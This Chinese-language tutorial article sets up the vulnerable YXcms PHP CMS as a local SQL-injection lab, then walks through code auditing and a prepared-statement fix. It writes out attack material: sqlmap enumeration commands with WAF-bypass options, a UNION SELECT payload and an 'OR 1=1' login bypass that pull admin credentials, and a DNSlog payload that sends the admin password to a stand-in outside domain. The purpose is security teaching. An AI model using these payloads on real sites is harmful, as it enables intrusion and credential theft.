ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

YXcms SQL注入靶场搭建与源码审计实战

YXcms SQL注入靶场搭建与源码审计实战 简介YXcms-含有SQL注入漏洞的源码包.zip 面向Web安全学习者、渗透测试初学者与代码审计人员提供一套可实际复现SQL注入问题的内容管理系统源码便于在本地环境中研究漏洞成因与利用方式。压缩包为zip格式整体约13.27MB包内包含站点入口文件、服务器配置文件、升级日志及upload、public、protected、data等目录涉及PHP脚本、配置文本与静态资源可用于分析请求处理流程、数据库查询逻辑与目录权限设置。目前已有901人学习下载说明该漏洞案例在安全圈内具有一定关注度。读者可借助源码定位不安全的SQL查询位置理解输入验证缺失带来的风险并对照配置文件与目录结构梳理攻击面为漏洞修复与防御加固积累实战经验适合作为代码审计与安全教学的参考样本。1. 从一份带洞的 CMS 源码包说起为什么它值得放进你的本地靶场如果你手头正好有一份YXcms-含有SQL注入漏洞的源码包.zip别急着删也别急着往公网服务器上扔。这东西的正确用法是把它当成一个本地 SQL 注入实训靶场——一个真实存在过、结构完整、带明确漏洞点的 PHP 内容管理系统。它跟 DVWA、sqlilabs、pikachu 靶场不一样的地方在于这是一套完整的 CMS 业务代码有前台、有后台、有上传目录、有配置文件漏洞藏在真实业务逻辑里而不是被刻意简化过的教学页面。你拿到它之后能做的事很具体在本地把站点跑起来用 sqlmap 或手工 payload 复现注入定位到出问题的查询语句然后自己动手写修复方案。适合三类人——想从“会跑 sqlmap”进阶到“能读源码定位注入点”的安全新手需要一套真实 CMS 代码做代码审计练习的开发者以及给团队搭内部安全培训环境的人。下面我从环境搭建一路讲到漏洞定位和修复验证中间踩过的坑都会标出来。2. 环境搭建与源码结构把 YXcms 在本地跑起来2.1 为什么选 PHP 5.x MySQL 5.x 这套老环境YXcms 是典型的国产老牌 PHP CMS代码风格偏过程化大量使用mysql_*系列函数或早期mysqli写法没有 Composer 依赖也没有现代框架的路由层。这意味着它对 PHP 版本非常敏感——你直接丢到 PHP 8.0 上跑大概率会看到一堆Deprecated和Fatal error因为mysql_connect()这类函数在 PHP 7.0 之后已经被移除。常见做法是用 phpStudy 2016/2018 版本或者自己用 Docker 拉一个php:5.6-apache镜像再配 MySQL 5.5/5.6。我一般会选 Docker因为环境隔离干净删掉容器不留垃圾。下面是我实际用的docker-compose.ymlversion: 3 services: web: image: php:5.6-apache ports: - 8080:80 volumes: - ./YXcms:/var/www/html depends_on: - db db: image: mysql:5.6 environment: MYSQL_ROOT_PASSWORD: root123 MYSQL_DATABASE: yxcms ports: - 3306:3306启动命令就一行docker-compose up -d逻辑说明web 容器挂载源码目录到 Apache 根目录db 容器预建yxcms数据库。参数上MYSQL_ROOT_PASSWORD设成你顺手的值后面安装向导要填。端口 8080 避免和本机已有服务冲突。2.2 源码目录里哪些文件跟漏洞直接相关解压后你会看到.htaccess、httpd.ini、index.php、升级日志.txt、robots.txt以及upload、public、protected、data几个目录。从代码审计角度重点盯这几个位置文件/目录作用审计关注点index.php入口文件路由分发逻辑看参数怎么传入控制器protected/核心业务代码控制器和模型层SQL 拼接高发区data/缓存与配置可能存数据库配置、缓存文件upload/用户上传文件上传漏洞的常见入口.htaccessApache 重写规则看是否有防护规则被绕过升级日志.txt版本记录判断当前版本对照已知漏洞安装流程跟普通 CMS 一样浏览器访问http://localhost:8080按向导填数据库地址db、库名yxcms、账号root、密码root123。装完后进后台把缓存清一遍否则有些页面会读到旧配置。提示安装完成后记得把install目录删掉或改名虽然本地靶场无所谓但养成习惯没坏处。3. 定位 SQL 注入点从请求参数到危险查询3.1 先理解 YXcms 的注入成因SQL 注入的本质没变过用户可控输入被直接拼进 SQL 语句没有参数化。YXcms 这类老 CMS 的典型写法是这样$id $_GET[id]; $sql SELECT * FROM yx_article WHERE id . $id; $result mysql_query($sql);$id没有经过intval()或mysqli_real_escape_string()处理直接拼接。攻击者传?id1 UNION SELECT username,password FROM yx_admin就能把管理员表拖出来。热词里说的“sql注入万能密码绕过”在这类系统里通常出现在后台登录处——登录查询用字符串拼接传admin OR 11就能绕过密码校验。3.2 用 sqlmap 快速验证再手工确认先别急着上 sqlmap手工测一下更踏实。假设前台文章页 URL 是http://localhost:8080/index.php?rarticle/viewid1把id改成1如果页面报 SQL 语法错误基本就确认了。然后用 sqlmap 跑sqlmap -u http://localhost:8080/index.php?rarticle/viewid1 --batch --dbs参数说明-u指定目标 URL--batch全程默认选项不交互--dbs枚举数据库。如果跑出来有结果说明注入确实存在。想进一步拿表sqlmap -u http://localhost:8080/index.php?rarticle/viewid1 -D yxcms --tables逻辑上sqlmap 会先判断注入类型布尔盲注、时间盲注、联合查询等再根据类型选择 payload。老系统通常是联合查询或报错注入因为mysql_error()直接把错误输出到页面。3.3 读源码确认注入点别只信工具工具跑通不代表你理解了漏洞。回到protected/目录用 grep 搜危险函数grep -rn mysql_query\|mysqli_query\|-query protected/ | grep -v intval\|escape这条命令会列出所有直接执行查询且没有过滤的代码行。逐行看上下文找到$_GET、$_POST、$_REQUEST变量进入 SQL 的位置。常见的高危文件包括文章控制器、搜索功能、分页参数处理。我一般会把可疑行号记下来再构造针对性 payload 验证这样比盲跑工具靠谱得多。注意有些注入点需要登录后才能触发比如后台的某些管理接口。测试时先拿到一个低权限账号再逐步提权。4. 避坑与常见问题本地复现时最容易翻车的五件事4.1 页面空白或 500 错误现象访问首页一片空白Apache 日志里报PHP Fatal error: Call to undefined function mysql_connect()。原因PHP 版本太高mysql_*函数已被移除。解决换回 PHP 5.6 环境或者装mysql扩展的兼容层。Docker 方案直接改镜像标签即可。4.2 数据库连不上安装向导卡住现象填完数据库信息点下一步提示“连接数据库失败”。原因容器间网络不通或者 MySQL 用户权限没开远程访问。解决确认docker-compose.yml里 web 和 db 在同一网络MySQL 5.6 默认 root 只允许 localhost需要在 db 容器里执行GRANT ALL ON *.* TO root% IDENTIFIED BY root123; FLUSH PRIVILEGES;。4.3 sqlmap 跑不出结果现象手工测有报错sqlmap 却说“not injectable”。原因目标有简单的 WAF 或过滤规则比如.htaccess里拦了union关键字或者 sqlmap 默认 payload 被转义。解决加--tamperspace2comment绕过空格过滤或者--random-agent换 User-Agent。先手工确认注入类型再用--technique指定别让工具瞎猜。4.4 注入点回显被 HTML 转义现象联合查询注入时页面把、转义了看不到数据。原因输出层用了htmlspecialchars()但 SQL 执行层没过滤。解决这种属于盲注场景改用布尔盲注或时间盲注。sqlmap 加--techniqueB或--techniqueT速度会慢但能出数据。4.5 修复后功能异常现象把intval()加上去之后某些正常请求返回空结果。原因原代码依赖字符串型参数比如id传的是abc这种非数字intval()后变成 0。解决先确认参数类型数字型用intval()字符串型用mysqli_real_escape_string()或预处理语句。别一刀切。5. 修复验证与进阶从能跑到能防5.1 用预处理语句替换拼接查询找到注入点后修复方案要落到代码上。以文章查询为例原始代码$id $_GET[id]; $sql SELECT * FROM yx_article WHERE id . $id; $result mysql_query($sql);改成预处理语句$id intval($_GET[id]); // 数字型参数强制转整 $stmt $mysqli-prepare(SELECT * FROM yx_article WHERE id ?); $stmt-bind_param(i, $id); $stmt-execute(); $result $stmt-get_result();逻辑说明prepare()先把 SQL 模板发给数据库编译bind_param()再传参数参数不会被解释为 SQL 代码。i表示整型字符串用s。这样即使$id里带 payload也只会被当成普通值。5.2 验证修复是否彻底改完代码后重新跑一遍之前的 payloadsqlmap -u http://localhost:8080/index.php?rarticle/viewid1 --batch --dbs如果返回“not injectable”说明这个点堵住了。但别停——用同样的方法把grep出来的其他可疑文件逐个测一遍。我一般会写一个简单的脚本把源码里所有$_GET、$_POST变量出现的位置列出来对照检查是否都走了预处理或转义。5.3 进阶技巧用 DNSlog 检测无回显注入有些注入点没有回显也不报错布尔盲注又太慢。这时候可以用 DNSlog 外带数据。原理是构造一个 payload让数据库去请求一个你控制的域名域名里带上要查的数据。比如SELECT LOAD_FILE(CONCAT(\\\\, (SELECT password FROM yx_admin LIMIT 1), .your-dnslog-domain.com\\a));数据库执行时会发起 DNS 查询你在 DNSlog 平台就能看到带密码的域名记录。这个方法在 MySQL 的LOAD_FILE可用、且secure_file_priv没限制时有效。本地靶场里可以自己搭个 DNS 服务器验证公网环境就别乱试了。注意DNSlog 外带依赖数据库的特定函数和权限不是所有环境都能用。先确认secure_file_priv的值如果是NULL就直接放弃这条路。5.4 我自己的习惯从那以后我每次拿到一份带洞源码都强制走一遍“手工确认 → 工具验证 → 源码定位 → 修复 → 回归测试”这五步绝不跳过源码定位直接上工具。因为工具只能告诉你“这里有洞”但“为什么有洞、怎么改、改完会不会影响业务”只有读代码才知道。这份 YXcms 源码包的价值不在于漏洞本身而在于它给了你一个完整的、可反复折腾的练习场。希望帮到你。本文还有配套的精品资源点击获取
返回列表